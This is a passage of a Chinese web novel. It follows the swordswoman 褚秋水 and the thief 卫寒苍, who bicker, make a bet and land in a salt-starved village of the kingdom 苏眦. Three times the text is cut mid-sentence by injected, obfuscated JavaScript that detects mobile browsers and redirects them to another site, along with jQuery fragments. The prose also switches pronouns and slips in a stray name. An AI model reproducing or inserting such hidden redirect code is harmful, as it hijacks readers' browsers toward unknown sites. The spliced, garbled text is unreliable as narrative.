她身穿玄色劲装，袖口扎得利落，腰间系着一条赭红色的腰带，衬得那柄斜背在身后的大剑越发显眼。一头长发高高束成马尾，发尾垂到肩胛骨的位置，走起路来一甩一甩的，带着几分少年人的飒爽。 褚秋水从袖中取出那本《南溟剑谱》，一边走一边翻看。 南家剑法果然名不虚传。开篇第一句就是“剑者，心之刃也”，跟她师傅教的“剑即是心”有异曲同工之妙。 再往下翻，是一套完整的剑诀，每一招都配着详细的注解，笔迹苍劲有力，一看就是南家老爷亲笔所写。 褚秋水看得入了迷。 她脚步渐慢，最后干脆停在路中间，捧着剑谱细细研读。看到精妙处，她眼睛一亮，把剑谱往怀里一揣，反手拔出大剑。 竹林里响起一阵破风声。 她起手就是一招“开山式”，大剑横扫，带起的剑气将两侧的竹叶吹得簌簌落下。紧接着剑锋一转，又接了一招“断水流”，剑势由上而下，劈出一道凌厉的弧线。 两招练完，她收剑站定，歪着头想了想。 “不对，”她自言自语，“这一招的力道应该在落剑的瞬间收三分，不然下一招接不上。” 她又试了一遍。这次对了，剑势连绵，一气呵成。她满意地点点头，把大剑往背上一挂，继续往前走，边走边低头翻剑谱。 完全没注意脚下。 竹叶铺了满地，把路面的痕迹遮得严严实实。她的左脚已经悬空，下面是一个被落叶盖住的深坑——坑底还插着几根削尖的竹子，明显是猎人设的陷阱。 就在她的脚尖即将踩空的那一瞬—— “噗嗤。” 一声极轻的笑，从头顶的竹梢上传来。 褚秋水的身体比脑子快。她左脚猛地收回，整个人原地旋转半圈，右手已经探到背后握住剑柄。 大剑出鞘。整柄剑像一轮巨大的飞轮，旋转着朝笑声的方向斩去。剑气所过之处，竹叶纷飞，在空中碎成无数细小的碎片。 竹梢上的人影“咦”了一声，身形拔地而起，堪堪躲过这一剑。大剑斩断了她脚下的那根竹子，又飞出去三丈远，钉进另一根粗壮的竹身里，剑身嗡嗡震颤。 那人落在三丈外的竹枝上，衣袂飘飘，笑得眉眼弯弯。 “女侠好大的脾气。” 褚秋水看着那张脸，眉头皱了起来。 “夏荷？” 不对。她改口：“卫寒苍？” 那人歪了歪头，一脸无辜：“叫我寒苍就好。” 褚秋水二话不说，身形暴起，一把拔出钉在竹子里的大剑，反手就是一记横扫。 卫寒苍惊叫着往旁边一跳：“哎哎哎！怎么又打！” “少废话！”褚秋水剑势不停，大剑带起呼呼风声，劈头盖脸地砸下去，“你跟着我干什么？又想偷什么？” 卫寒苍左躲右闪，身法灵动得像只燕子。她脚下踩着竹枝，借着竹子的弹力在空中翻腾，每一剑都堪堪擦着衣角过去，却偏偏一剑都劈不中。 “我没跟着你！”她一边躲一边喊，“我就是路过！路过你信吗？” “路过？”褚秋水一剑劈断她脚下的竹子，“你在竹林里路过？” 卫寒苍一个后空翻，落在另一根竹子上，拍拍胸口：“好险好险。褚女侠，你这剑再偏一寸，我就成两半了。” 褚秋水不理她，剑势更猛。大剑在她手里像是没有重量，横扫、斜劈、直刺，一招比一招狠。她走的是刚猛路子，每一剑都带着千钧之力，剑气所过之处，竹子齐刷刷地倒下一片。 卫寒苍渐渐有些吃力了。 她的轻功再好，也架不住这人力气大得像头牛。那些被她躲过的剑招，剑气却躲不掉。劲风刮在脸上生疼，衣裳被剑气割出好几道口子。 “褚姑娘，”她一边躲一边喊，“你追着我打，总得有个理由吧？” 褚秋水一剑劈过去：“你偷人家孩子！” “我还回去了！” “你装丫鬟骗我！” “我给现在你道歉！” “你——”褚秋水一顿，“你昨天晚上钻我被窝！” 卫寒苍的脸微微红了，嘴上却不饶人：“那是我给你暖床！你不冷吗？” 褚秋水被她这话气得够呛，大剑横拍，直接把她连人带脚下的竹子一起拍飞。 卫寒苍在空中翻了两个跟头，踉跄着落在地上，退了好几步才稳住身形。她低头一看，袖子被 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371599|199937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 剑气撕开了一道口子，露出半截白生生的手腕。 她抬头看着褚秋水，那眼神又委屈又无奈。 “打不过你，”她说，“我认输。” 褚秋水把大剑往肩上一架，居高临下地看着她。 “说吧，你到底想干什么？” 卫寒苍拍拍身上的竹叶，站起来。她理了理被风吹乱的头发，那张脸在斑驳的阳光下显得格外好看——桃花眼，翘鼻梁，嘴唇抿着的时候带着一点倔强的弧度。 “我想跟着你。”她说。 褚秋水愣住了。 “什么？” “跟着你。”卫寒苍重复了一遍，理直气壮地说，“你剑法好，力气大，还背着一把这么威风的大剑。跟着你肯定有意思。” 褚秋水被她说得莫名其妙。 “你堂堂盗圣，跟着我干什么？” “盗圣怎么了？”卫寒苍歪着头，“盗圣也是人，盗圣也得吃饭。我跟着你，给你端茶倒水，给你洗衣做饭，给你——” “打住。”褚秋水伸手制止她，“我不用人伺候。” “那我给你暖床。” “更不用！” 卫寒苍眨眨眼，那眼神里带着一点促狭，一点委屈，还有一点说不清的东西。 “褚女侠，”她说，“你是不是嫌弃我？” 褚秋水深吸一口气。 “不是嫌弃你，”她说，“是我一个人惯了。” “那你刚才打我的时候，打得挺开心的。” “那不一样。” “有什么不一样？”卫寒苍往前走了两步，仰着头看她，“你打我的时候开心，我跟着你的时候也开心。这不是挺好的？” 褚秋水被她这套歪理堵得说不出话。 她低头看着面前这个人。个子挺高，瘦瘦的，脸上还带着刚才打斗时沾上的竹叶。那双桃花眼亮晶晶地看着她，像是在等一个答案。 这样的人，要跟着她？ “你跟着我，”她慢慢开口，“不会是想偷我的剑吧？” 卫寒苍愣了一下，然后笑了。那笑容灿烂得像三月的春花，眉眼弯弯，露出一点虎牙。 “说不准呢，”她说，“我就是喜欢跟着你。” 褚秋水：“……” 这年头小偷都是大爷吗，这么理直气壮。 卫寒苍见她不说话，又往前凑了一步。 “褚姑娘，”她的声音放软了，“你就让我跟着呗。我保证不偷东西，不惹麻烦，不给你添乱。” “你刚才还偷了人家孩子。” “那不是为了见你嘛。”她说得理直气壮，“再说了，我还帮他治好了病。一颗九转护心丹，多少钱都买不到。算起来，南家还欠我的呢。” 褚秋水看着她那副理直气壮的样子，忽然觉得头疼。 这人，到底是个什么品种的无赖？ 她沉默了很久。 卫寒苍就站在旁边，安安静静地等着。风吹过竹林，沙沙作响。她的衣袂被风吹起来，露出里面一截细白的手腕。 褚秋水叹了口气。 “跟着可以，”她说，“但有规矩。” 卫寒苍眼睛一亮：“什么规矩？” “第一，不许偷东西。” “好。” “第二，不许骗人。” “……好。” “第三，”褚秋水看着她，“不许随便往我被窝里钻。” 卫寒苍眨眨眼，那眼神里闪过一丝狡黠。 “好，”她说，“那你冷的时候我再钻。” 褚秋水瞪她。 卫寒苍立刻改口：“不钻不钻，你说不钻就不钻。” 褚秋水把大剑收回背上，转身往前走。 “走吧。” 卫寒苍愣了一下：“去哪儿？” “去找剑谱。”褚秋水头也不回，“你不是要跟着吗？跟紧点，丢了不负责。” 卫寒苍笑了，小跑着跟上去。她就知道，褚秋水这人，最是心软。 5. 破庙 卫寒苍跟在她后面，瞅准时机开口：“秋水姐姐，要不要和我打个赌。” “……有话直接放。” “干我们这一行的，平时偷点金银财宝不算新鲜，只有干票大的，才能打出名头来。” 听着对面的人娓娓道来，褚秋水竟然有一丝想要继续听下去的冲动。 她摩挲着剑柄：“所以你掳走南家的小少爷，就为了出名？” “是也不是，”见褚秋水愿意听她说了，卫寒苍更是起劲：“女侠愿不愿意和我打个赌。” “什么赌。” “就打我可以从你这里偷走你最珍贵的东西。赌期三年，期间让我一直跟着你。如果我输了，我就任你使唤，再也不去行骗盗窃。怎么样？” 褚秋水看着眼前人期待的眼神，感觉她就像用丰厚条件诱惑凡人的魔鬼。 但这个赌，怎么看她也不吃亏吧。 据南郃所言，这位“盗圣”平生最爱偷神兵利器。而她这件大剑是她的本命法器，认过主，几乎不能被他偷走。 而且，把这位祸害绑在身边，总比让他为祸一方的要好。 想到这，褚秋水点点头，算是同意了她的赌约。 她立刻抬起头，眼中满是喜悦：“姐姐真好，还肯收留我这个弱女子。” 褚秋水已经习惯她的说话方式。 刚刚打斗过后，又说了这么久的话，天色不早了，褚秋水划出片结界，准备今晚在这里歇歇。 卫寒苍看见了，连忙贴了过来。 褚秋水看着她的动作，把剑抱得紧了些。 “姐姐，别那么紧张嘛，我不会在你睡觉的时候动你的东西的。”卫寒苍撇撇嘴，“而且，你睡觉沉，不容易醒我摸你手你都没醒。” 褚秋水一听，睡意登时就飞走了：“你什么时候摸我手了？” “给你暖被子的时候啊。”卫寒苍眨眨眼，“你手凉，我给你捂着。你不是还握住了吗？” 褚秋水想起那几个夜里，被子里总是有一处热源，自己当时以为是汤婆子。 她深吸一口气，换了个方向躺着：“你到底是男是女？” 卫寒苍一愣。 “听人说，你性别男女老少的，”褚秋水眯起眼，“如果你是男扮女装，那我不能带上你。” 卫寒苍沉默了一瞬，然后开始接衣带。 “你干什么！”褚秋水一下子坐了起来。 对方似有不解，歪着头看她，“我给你看看呀。” 说着，她竟然真的要解开。 “姐姐你看吧。姐姐？” 褚秋水心中默念，不吃亏，自己怎么样都不吃亏。 如果她是女生，那么皆大欢喜。如果她是男的，她一刀给那碍事的玩意拍了，也可以当女生相处。 但是她无论如何也没法劝自己睁开眼。 只感觉对方身上的竹叶清香离自己越来越近。 “姐姐别害羞……我带着你。” 褚秋水的手被轻柔地拉着。对方的手软软的，带着舒适的体温，然后指引着她，摸到了或者没摸到什么…… 应该是没摸到，吧。 褚秋水一直等到她穿好衣服才睁眼。 一睁开眼，卫寒苍就凑了上来：“姐姐姐姐，我也证明自己了，你现在还赶我走吗？” 褚秋水看着她亮晶晶的眼睛，那张脸上满是期待。 “你跟着我到底干什么？”她实在是不理解，忍不住又问，“我可不是去游山玩水的，我要找剑谱，要打架，要吃苦。” “我知道呀。”卫寒苍点头，“我就跟着你。” “我不会一直在同一个地方待着。” “我跟着你走。” “可能会遇到危险。” “你保护我呀。”她笑眯眯地说，“你不是大侠吗？” 褚秋水被她追问地没话说。 沉默了好一会儿，她终于叹了口气。 “跟着可以，但规矩再加两条。” 苏辞眼睛一亮：“什么？” “第一，不许叫我姐姐，叫我秋水就行。” “好，秋水。” “第二——”褚秋水深吸一口气，“不许说这种让人误会的话！” 卫寒苍眨眨眼，似乎没听懂。 褚秋水管你有没有听懂。 她一翻身，准备就地睡去。卫寒苍也赶紧跟着她躺下来。 睡意朦胧间，褚秋水感觉身边的人离她越来越近，但她太困了。有什么事，都等到明天吧。 一早醒来，褚秋水感觉通体舒畅。她伸了个懒腰，拍拍身上的草屑，就去检查境界有没有破损的地方。 非常完美，没有任何破损。 她身后，卫寒苍也醒了过来，此刻正哀怨地看着她，眼下是大片乌青。 黑眼圈在卫寒苍白净的小脸上显得十分明显，以至于褚秋水一回来就看见了。 “这是怎么了。”褚秋水见她这样，忍不住明知故问，指了指对方眼下乌青。 卫寒苍没好气地问她：“你平时就睡这种地方？” 褚秋水点点头：“对啊对啊。师傅说修行之人不可轻纵己欲，睡草坪上有利于磨练意志。” “还不是因为你们剑修没钱……” “你这是毁谤啊！我告你毁谤啊！” 褚秋水慷慨激昂地陈词一番后，话锋一转，开始苦口婆心地劝说：“你说你好好一个人，天天跟着我风餐露宿算什么事。不如这样，赌约作废，从此大路朝天各走一边，怎么样。” 卫寒苍一听，也不管什么黑眼圈了，又恢复了往常那副柔弱的姿态。 “你就是嫌弃我……” 她微微垂下眼，睫毛轻轻颤着：“我知道我吃不了苦。昨晚翻来覆去，草扎得我就是不舒服，还有虫子爬到我脸上……但是我真的在努力了。” 褚秋水看着她这副模样，嘴角抽了抽。 她不该做什么小偷的，应该去戏班子里，用不了几年就能成角。 “你少来。”褚秋水抱着胳膊，“你都偷遍天下无敌手了，会怕虫子？” “这怎么了？”卫寒苍抬起眼，理直气壮，“我也是人啊，是人就有喜欢的和害怕的。再说了，我长的这么好看，多关心关心自己的脸怎么了。我去皇宫那次，御花园里全是蚊子，咬得我满脸包，回去半个月没敢见人。” 褚秋水竟然有一丝被她的歪理说服的奇怪感觉。不对不对，她怎么能被个小偷轻易迷惑。 “而且，”卫寒苍的声音又低下去，委屈巴巴的，“我都给你暖了那么多次床，你现在嫌弃我……” “谁让你暖床了！还有，我不是说了你不准再这样说话吗！” “我自己愿意的呀。”她眨眨眼，一脸无辜，“可是你不能因为我愿意，就觉得我不辛苦吧？我昨晚真的没睡着，你看我这黑眼圈——” 他把脸凑过来，几乎要贴到褚秋水鼻尖上：“你摸摸，是不是肿了？” 褚秋水往后仰了仰，伸手抵住他额头：“离我远点。” “你摸嘛。” “不摸。” “就一下。” “滚。” 两人正闹着，前方林荫尽头忽然露出一角飞檐，有些破旧。 褚秋水眼睛一亮：“有庙！走，去歇歇脚。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371600|199937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 卫寒苍顺着她指的方向望去，眼里有过一丝嫌弃，但又怕褚秋水再说出什么要抛弃她之类的话，只能亦步亦趋地跟上。 面前的庙不大，看得出来已经很久没人来过了。门槛上的漆早已脱落，露出底下灰白的木头，檐角的瓦片也掉了好几块。 褚秋水推开半掩的木门，灰尘裹挟着一股霉味，扑面而来。 庙里里面空荡荡的，只有一尊残破的泥塑神像歪倒在角落，身上爬满了蛛网。 “就这儿吧。”她放下剑，清理一下地面，铺上清尘毯，“这样就不脏了，今晚可以睡在这里。” 卫寒苍难得没有第一时间回话，褚秋水抬眼看去，只见她站在门口仰着头，盯着门楣上方的雕刻出神。 “看什么呢？” “这尊神像……”卫寒苍喃喃道，“有点眼熟。” 褚秋水凑过去看了看。以前在宗门上大课时，除了和剑术有关的课，她是选修课必逃，必修课选逃，对于这些庙宇形制只能说是一知不解。 “有什么问题吗？” “这种风格现在很少见了。”卫寒苍指着那些纹路，“这是古苏眦国供奉的神像，传说他们的开创者从天而降，带领百姓脱离苦海。” 褚秋水的目光中带着些敬佩：“你对建筑还有研究？” 卫寒苍笑了：“当然。当过小偷的朋友们都知道，偷东西前得先踩点，踩点就得懂建筑，不然绕来绕去把自己都绕迷糊了。” 褚秋水懒得理她，继续清理地上的草。 卫寒苍在庙里转了一圈，东摸摸西看看，最后停在佛像前，盯着那尊歪倒的泥塑神像啧啧称奇。 “秋水。” “嗯？” “你力气大吗？” “还行，有事就放。” “我们把这个神像背出去吧。” 褚秋水对于她的口出狂言已是见怪不怪：“不行。” “你不知道这个神像多值钱。”卫寒苍的声音中带着明显的兴奋，“我仔细看了一下这个神像，用料做工都是极好的，只要我们能拿出去……” 褚秋水整理好她的毯子终于抬起头，看向他：“君子爱财，取之有道。小人爱财，没有礼貌。不义之财，我不能要。” 说完，她躺在清尘毯上，室外酷热，但睡在这毯子上却异常凉爽。 卫寒苍见状，也想挤在她的毯子上。 褚秋水眼都没抬，从储物戒中取出张毯子给她：“自己铺。” 卫寒苍见她没有给自己腾位置的念头，只好一边絮絮叨叨，一边在她身旁找了个位置，认命地开始铺床。 褚秋水听见身旁人小声的抱怨，忍不住勾了勾嘴角。 睡意朦胧间，褚秋水闻到点奇异的香味。 那香味起初极淡，若有若无，到后来味道越来越重。像是庙中点染的敬香，带着一股说不清的古老气息。 褚秋水一征，迅速睁开眼，和同样清醒过来的卫寒苍对视上，两个人都看到了对方眼中的震惊—— 破庙里就她们两个人，哪里来的香味？ 还没等说出话来，瞬间天地倒转。 脚下的地面仿佛突然消失了，整个人像被一只无形的大手拖拽着。耳边是呼呼的风声，眼前是飞速旋转的光影，五脏六腑都在翻涌。 不知过了多久，也许只是一瞬，也许是很久，那失重的感觉忽然消失了。 褚秋水摔在一堆灰上，倒是不疼。 她捻起那灰一闻，是香灰。 空气中那股异香一直环绕着她。 她打量了一下周围，这才发现，自己似乎掉到了一座祭坛中央。 6. 村民 褚秋水打量着周围。 她现在在一个陌生的房间里。房间很大，青石铺地，四周立着几根漆黑石柱，柱身上刻满了密密麻麻的古老符文不是褚秋水认识的任何一种。 她屁股下的祭坛位于房间中央，坛内青烟袅袅，正是那阵奇异的香味的来源。 褚秋水呆呆地看着这一切，脑子有点过载了。 “我们这是……” 身后，卫寒苍的声音幽幽响起：“……好像是穿越了。” 褚秋水手里握着剑，戒备地观察周围：“也真奇了，这穿越的事也能被我们两个赶上。” 卫寒苍摊手：“可能，人生就是旷野吧。” 褚秋水深吸一口气，忽略了她的文青病，努力让自己冷静下来。 “你之前说过个什么古国？” “苏眦。”卫寒苍走到一根石柱前，伸手摸了摸那些符文，“西域古国，史书记载它盛极一时，但也逃不过亡国的命运，所属臣民多迁往中原了。” 褚秋水消化着这个信息，外面忽然传来一阵杂沓的脚步声。 卫寒苍嘴唇翕动，告诉她有人来了。 褚秋水点点头，来的人还不少。 两人对视一眼，褚秋水本能地握紧手里的剑，本命武器在手，她心里稍稍松了一口气。 门被推开，一群人涌了进来。 褚秋水下意识摆出迎战的姿势，却在看清来人的时候有些愣住了。 这些人……倒像是贫苦百姓。 她把剑收了收，观察起眼前的人群。 打头的几个老者穿着打满补丁但是很干净的粗麻衣，脸上满是风霜刻下的沟壑。后面的年轻人大都是衣衫褴褛。 但他们看着褚秋水和卫寒苍的眼神，却亮得吓人。 “来了……真的来了……” 领头的老者看着褚秋水和她的剑，嘴唇哆嗦着，浑浊的眼里涌出泪来。他颤抖着向前走了两步，扑通一声跪在地上。 身后那群人像被推倒的骨牌一样，齐刷刷跪了一地。 “天降神勇！天降神勇！” 呼喊声此起彼伏，带着哭腔，带着狂喜，震得褚秋水耳朵嗡嗡响。 她整个人都懵了，也顾不上认不认识这些人，想拉他们起来。 “别，别跪啊。这是在干嘛。” 卫寒苍也是难得的一脸懵，只能跟着褚秋水去扶人。 领头的老者被她扶起来，老泪纵横，“祭坛三百年未曾有应，今日终于天降神勇，定是上苍垂怜我苏眦百姓！” 褚秋水从他有限的话里提取着信息，这些人一直在祈求着什么人的到来，而她恰好在这个时候落到这里来，被他们误当成了上天的指引。 她深吸一口气，努力让自己的语气平和一点：“老人家，您听我说，我们真的不是什么神勇，我们是……我们是迷路了，不小心掉进来的。您能不能告诉我们怎么出去？” 老者听了这话，非但没有失望，眼里的光反而更亮了。 “迷路？掉进来？”他喃喃重复，忽然激动地说，“正是正是！神勇自然是从天而降，自然是不知来路！与预言一般无二！” 身后那群人也跟着激动起来，嘴里念念有词。 褚秋水有些不知所措。 似乎是发现了她们的窘迫，后面有人大喊着。 “快，快请勇士们去吃饭。过了这么久，她们肯定也饿了。” 领头的老者连忙拉着她们两个要走。一边走，还一边和他们聊着。 从和他的交谈中，褚秋水得知，老者姓周，是这个小村落里最有威望的长者，大家都叫他周伯。 他带着褚秋水和卫寒苍穿过几条土路，来到一间低矮的土坯房前。房子不大，屋顶铺着茅草，有几处已经塌陷下去，但都收拾得干净利落。 院子里已经忙开了。 几个妇人蹲在灶台前添柴烧火，锅里咕嘟咕嘟冒着热气。一个头发花白的老太太正拿着刀，对着一只瘦骨嶙峋的老母鸡比划，那鸡吓得咯咯直叫。 旁边还有几个孩子在帮忙择野菜，那些野菜褚秋水认识，是路边随处可见的苦菜和灰灰菜，平时连猪都不爱吃。 周伯把他们让进屋，屋里被整齐收拾着。一张歪腿的木桌被反复擦过，几个豁口的陶碗摆在上面，墙角的农具和干草放得归整。 “寒舍简陋，让勇士见笑了。”周伯有些不好意思地搓开口。 褚秋水摇摇头，表示自己并不在意这些。对面已经拿出了最大诚意，她又怎么可能会嫌弃。 没过多久，饭端上来了。 一碗炖鸡汤，黄澄澄的油花飘在上面，香气直往鼻子里钻。一碗野菜，用开水焯过，拌了点调料。还有几个黑乎乎硬邦邦的杂粮饼子，配了点。 东西不多，但准备得很用心。 那只鸡瘦得可怜，炖出来的汤也没多少，周伯硬是给褚秋水和卫寒苍一人盛了一大碗，自己碗里只有清汤寡水。 野菜也是，好的都挑给了他们，周伯碗里只剩些老叶子。 褚秋水端着碗，忽然觉得这碗有千斤重。 自己的师傅也是这般年纪，但面前的周伯看着比师傅沧桑了许多。她的眼睛有些酸了…… 褚秋水低头喝了一口汤，没什么盐味，淡淡的，带着一股土腥气。但她什么都没说，一口一口喝完了，露出了满意的表情。 卫寒苍也低着头，难得没有出声，安安静静把碗里的东西吃了个干净。 吃完饭，褚秋水放下碗，看向周伯：“周伯，感谢招待。有些事，我们想和你单独谈谈。” 周伯愣了一下，点点头，把其他人支了出去。 屋里只剩下他们三个人。 褚秋水沉默了一会儿，关切地问：“周伯，你们这里……是不是没有盐？” 周伯脸上的笑容僵住了。 他张了张嘴，想说什么，却什么都没说出来，只是低下了头，肩膀微微颤抖。 半晌，他才哑着嗓子开口：“勇士……怎么知道的？” “汤里没盐。”褚秋水说，“野菜也只放了醋，没杂粮饼用咸菜佐味。而且我看那几个孩子的嘴唇发白，指甲凹陷——都是缺盐的症状。” 周伯抬起头，眼眶又红了。 他哑声道，“我们很多年没有盐吃了。” 褚秋水看着愁容满面的老人，一时不知该从何问起。 倒是卫寒苍先开了口，她给周伯倒了碗水，碗的缺口朝向自己，语气温和：“周伯，您先缓缓，慢慢说。这到底是怎么回事？” 周伯接过碗，手还在抖。他喝了一口水，深吸几口气，才慢慢开口。 “这事，得从女王继位说起。” 四十年前，苏眦古国出了一位女王。 这位女王雄才大略，励精图治，在位几年间，就把苏眦带到了前所未有的鼎盛。路不拾遗，夜不闭户，他们普通百姓都能过上好日子。 “可谁知道，就在她执政的第十年，一切全变了。” 周伯的声音沙哑，带着浓重的沉痛。 那年，女王从世代拱卫王室的巫祝处得到了一则预言。 手握盐与铁的人，将来到这个国家，终结百姓的苦难。从那之后，女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17371601|199937||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 王就像变了个人。 以举国之力，她开始收集铁器。 农具、炊具、刀具、甚至百姓家里的铁锅铁铲——全部充公。谁敢私藏，轻则鞭笞，重则砍头。 “说是要铸什么东西。”周伯苦笑，“可是这么多年，光看她收铁上去了。” 没有铁，农民无法耕种，只能用木犁翻地，收成远不如从前。没有铁，煮饭时连口像样的锅都没有，只能用陶罐煮食。陶罐易碎，三天两头就得换。 “那些被收走的铁，到底铸成了什么？”卫寒苍问。 老人摇摇头，官府从来不会告诉他们这些秘密。 “盐也是因为那个预言吗？”褚秋水问。 “苏眦律法本就对盐征管严格。”周伯叹气，“自从预言昭示，铁器被收，官府对于盐的把控也越来越紧。” “没有盐，这么多年，你们是怎么熬过来的？”褚秋水问着，声音有些哽咽。 她自小由师傅带大，看着眼前老人满面风霜，每道皱纹里都深深刻下了岁月的痕迹，她的鼻子一酸…… “硬熬。”周伯苦笑着，“没盐就没力气，没力气就种不了地，种不了地就没粮食。村里的人一个接一个病倒，熬不过去的，就埋在后山。今年冬天，又熬走了几个老伙计。” 他说着，眼眶又红了。 “我们每天都去祭坛祈求，求了三十年。”他抬起头，看着褚秋水，浑浊的眼里满是期盼，“预言说，会有神勇带领我们走出绝境。勇士，你来了，你一定是预言里的那个人。” 褚秋水张了张嘴，想说“我不是”，可那句话堵在喉咙里，怎么都说不出来。 她只是一个练剑的，不是什么神勇。她空有一身剑术，不知道怎么变出盐来，也不知道怎么跟那个女王抗衡。 可她看着周伯那双眼睛，看着这个为了招待他们杀了唯一一只老母鸡的老人，看着这个说起死去的村民时眼眶通红的老者…… 她张开口，却说不出一个拒绝的字。 一只手忽然伸过来，握住了她的。 卫寒苍看着她，轻轻笑了笑。 “秋水姐姐，”他说，“要不，咱们试试？” 褚秋水一愣。 “你不是说，遇上别人有难处，没法视而不见吗？”卫寒苍眨眨眼，那副无辜的样子又回来了，“现在这不就是难处吗？” “但是我——” “没什么好怕的。”卫寒苍歪头，“不就是没盐吗？找就是。不就是女王吗？打不过还不不能跑了？” 他说得这般轻描淡写，就像平常聊天似的。 褚秋水被他这副没心没肺的样子逗乐了。 “你说得倒容易。” 卫寒苍摊摊手，眼神示意她看向周伯。 褚秋水看过去。 周伯正眼巴巴地看着她，眼神中满是期盼。 是那种褚秋水永远无法拒绝的眼神，她深吸一口气。 “好。”她听见自己说，“我会帮着你们的。” 周伯愣住了。然后，那张满是沟壑的脸上，忽然涌出泪来。 他颤抖着站起身，又要往下跪，被褚秋水一把扶住。 “别跪，”褚秋水一边给他擦泪，一边说着，“没有人值得你们跪。” 周伯连忙站直，抹着眼泪，又哭又笑。 卫寒苍在旁边递了块帕子过去，笑眯眯地问：“周伯，我们有些累了，您能带我们去休息吗。” 周伯接过帕子，擦了擦脸，努力平复情绪：好好，你们跟着我来。” 周伯为她们安排好房间后，就离开了。 7. 乡间 屋子不大，明显被收拾过了。一张木板床上面干干净净，一张歪腿的桌子，窗户纸破的几个洞也都被补好了。 褚秋水站在窗前，看着周伯佝偻的背影消失在夜色里，久久没有说话。 身后忽然传来窸窸窣窣的声响。 她回头一看，卫寒苍正蹲在地上，把自己的小包袱打开，往里面塞东西——那几个黑乎乎的杂粮饼子，不知什么时候被他顺了进来，正一个个往包袱里装。 “你在干什么？” “收拾东西啊。”卫寒苍头也不抬，语气轻快，“趁天还没黑透，咱们赶紧跑。” 褚秋水：“……变脸这么快吗。” “你看啊，”卫寒苍掰着手指头数，“没盐，没铁，女王还不知道有什么毛病。这地方待不得，三十六计走为上——” 话没说完，后领一紧，整个人被拎了过来。 褚秋水把他提到面前，面无表情地看着他：“你刚才说什么来着？” “我说……”卫寒苍眨眨眼，一脸无辜，“咱们得赶紧跑？” “不是这句。” “那是哪句？” “在周伯那儿，你说‘要不咱们试试’。”褚秋水眯起眼，“试什么？试怎么跑？” 卫寒苍被她拎着，双脚悬空，晃了晃，理直气壮地说：“试完了发现不行，那就跑啊。这叫随机应变。” 褚秋水翻了翻白眼。 她松开手，卫寒苍稳稳落在地上，揉了揉后颈，嘴里还在嘀咕：“力气大了不起啊……” “了不起。”褚秋水抱起胳膊，“你走吧，我不会走的。” 卫寒苍眼睛一转，凑上前来，压低声音：“秋水姐姐你不会真想管这事吧？” “首先别叫我姐姐，其次答应别人的事，我还真就管到底了。” “哇唔好威武，那我们现在抛开热血啊羁绊啊，来谈点实际的。”卫寒苍的神情认真起来。 “那可是女王，一国之王。”她掰着指头，“她有兵有将，有城有池。你一个练剑的，拿什么跟人家斗？” 褚秋水沉默。 “而且你看啊，”卫寒苍继续分析，“这事明摆着是个烂摊子。女王收了铁，控制了盐，百姓苦了三十年。凭什么你一来就能解决？人家三十年都没解决的事，你——” “我知道。” 卫寒苍一愣。 褚秋水走到床边坐下，声音平静：“我知道我可能解决不了。我知道这事很难。我知道我只是个练剑的，不是什么神勇。” 她顿了顿，抬起头看着卫寒苍：“可是总要有人来做的。” 卫寒苍张了张嘴。 “我没法对于他人的苦难视而不见。”她说盯着眼前晃动的烛光，“可能有人会觉得我轴，不自量力。但……谁让我的性格就是这样呢，遇到这种情况，我就是没法忽视它。” 卫寒苍不说话了。 “我师傅说过，”褚秋水低下头，看着自己的手，“练剑的人，剑可以输，心不能输。遇上难事就跑，那这剑练了有什么用？” 屋子里安静了一会儿。 卫寒苍听着她的话，眼睛越来越亮。 她走过去，在褚秋水身边坐下，肩膀挨着肩膀。 “行吧。”她说，语气里带着点无奈，“那咱们就试试。” 褚秋水转头看他。 “不过说好了，”卫寒苍举起一根手指，“打不过就跑，跑不过就投降。我可不想陪你把命搭在这儿。” 褚秋水笑了：“你不是盗圣吗？怎么这么怂？” “盗圣怎么了？”卫寒苍振振有词，“盗圣也是人，盗圣也怕死。我偷东西从来都是挑软柿子捏，硬的坚决不碰。这叫智慧。” “这叫怂。” “这叫识时务。” 两人你一言我一语，气氛不知不觉松快了些。 聊完这些，她们就上塌休息了。 比起最初的抗拒，现在的褚秋水对于这种身旁多躺了一个人的情况，已经接受良好了。 卫寒苍对此非常满意，她喜欢这种一点一点挤进褚秋水生活的感觉。 卫寒苍躺在褚秋水身边，目光摩挲着她的面容。 对方早已睡着了，她忍不住去想，难道不管身旁睡着的是谁，褚秋水都能这般自然吗。 想到这，她想把褚秋水推醒问一问，但想起她白天被这些事一番折腾，此刻必然是累极了，又舍不得将她叫醒了。 退而求其次，她捻起褚秋水的发尾，将她的头发一圈一圈地缠绕在自己指尖，仿佛这样，能让她们两个之间的距离缩短。 